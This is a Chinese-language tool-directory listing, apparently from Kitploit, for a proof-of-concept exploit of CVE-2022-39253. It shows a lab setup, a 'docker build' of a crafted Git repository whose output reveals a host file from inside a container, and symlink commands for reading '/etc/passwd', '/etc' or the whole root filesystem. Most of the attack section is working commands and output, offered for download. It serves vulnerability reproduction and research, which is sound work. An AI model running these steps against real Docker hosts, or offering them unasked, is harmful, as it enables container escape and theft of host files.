Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
docker-cve-2022-39253-poc — 针对CVE-2022-39253的概念验证漏洞利用,演示通过恶意Git仓库构建实现Docker容器逃逸,从而能够读取主机文件系统。 | Kitploit
工具/GitHubGitHub/ssst0n3/docker-cve-2022-39253-poc
容器安全漏洞分析漏洞利用Web安全容器逃逸
GitHubssst0n3/docker-cve-2022-39253-poc

docker-cve-2022-39253-poc

针对CVE-2022-39253的概念验证漏洞利用,演示通过恶意Git仓库构建实现Docker容器逃逸,从而能够读取主机文件系统。

查看仓库
1051年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

docker host file read (using cve-2022-39253) poc

PoC

复现环境
root@kitploit:~
$ docker run --name=cve-2022-39253 -ti -d ssst0n3/docker_archive:git_cve-2022-39253
$ docker attach --detach-keys ctrl-x cve-2022-39253
# (use ctrl-x to exit container's terminal)
# (wait minutes for environment starting ...)
...
Ubuntu 22.04 LTS ubuntu ttyS0

ubuntu login: root
Password: root

root@ubuntu:~# apt list --installed |grep "git/now"

WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

git/now 1:2.34.1-1ubuntu1.2 amd64 [installed,upgradable to: 1:2.34.1-1ubuntu1.6]

root@ubuntu:~# docker --version
Docker version 20.10.19, build d85ef84
root@kitploit:~
echo "*************escaped*************" > /tmp/escaped
docker build https://github.com/ssst0n3/docker-cve-2022-39253-poc.git#main
root@kitploit:~
Sending build context to Docker daemon    234kB
Step 1/4 : FROM busybox
latest: Pulling from library/busybox
45a0cdc5c8d3: Pull complete 
Digest: sha256:3b3128d9df6bbbcc92e2358e596c9fbd722a437a62bafbc51607970e9e3b8869
Status: Downloaded newer image for busybox:latest
 ---> 334e4a014c81
Step 2/4 : COPY / /
 ---> 9f2e7d6efffd
Step 3/4 : RUN ls -lah /.git/modules/evil/objects/host
 ---> Running in e21e9a9c8294
-rw-r--r--    1 root     root           8 Dec 21 02:26 /.git/modules/evil/objects/host
Removing intermediate container e21e9a9c8294
 ---> c87453ca2a37
Step 4/4 : RUN cat /.git/modules/evil/objects/host
 ---> Running in a0463dca30b7
*************escaped*************
Removing intermediate container a0463dca30b7
 ---> 2330735e84e4
Successfully built 2330735e84e4

如何读取其他文件或目录

root@kitploit:~
ln -s /etc/passwd evil2/git/objects/host

或

root@kitploit:~
ln -s /etc evil2/git/objects/host

你甚至可以读取根目录 /。

安全公告

  • https://github.com/moby/moby/security/advisories/GHSA-vp35-85q5-9f25
  • https://github.com/git/git/security/advisories/GHSA-3wp6-j8xr-qw85
下载工具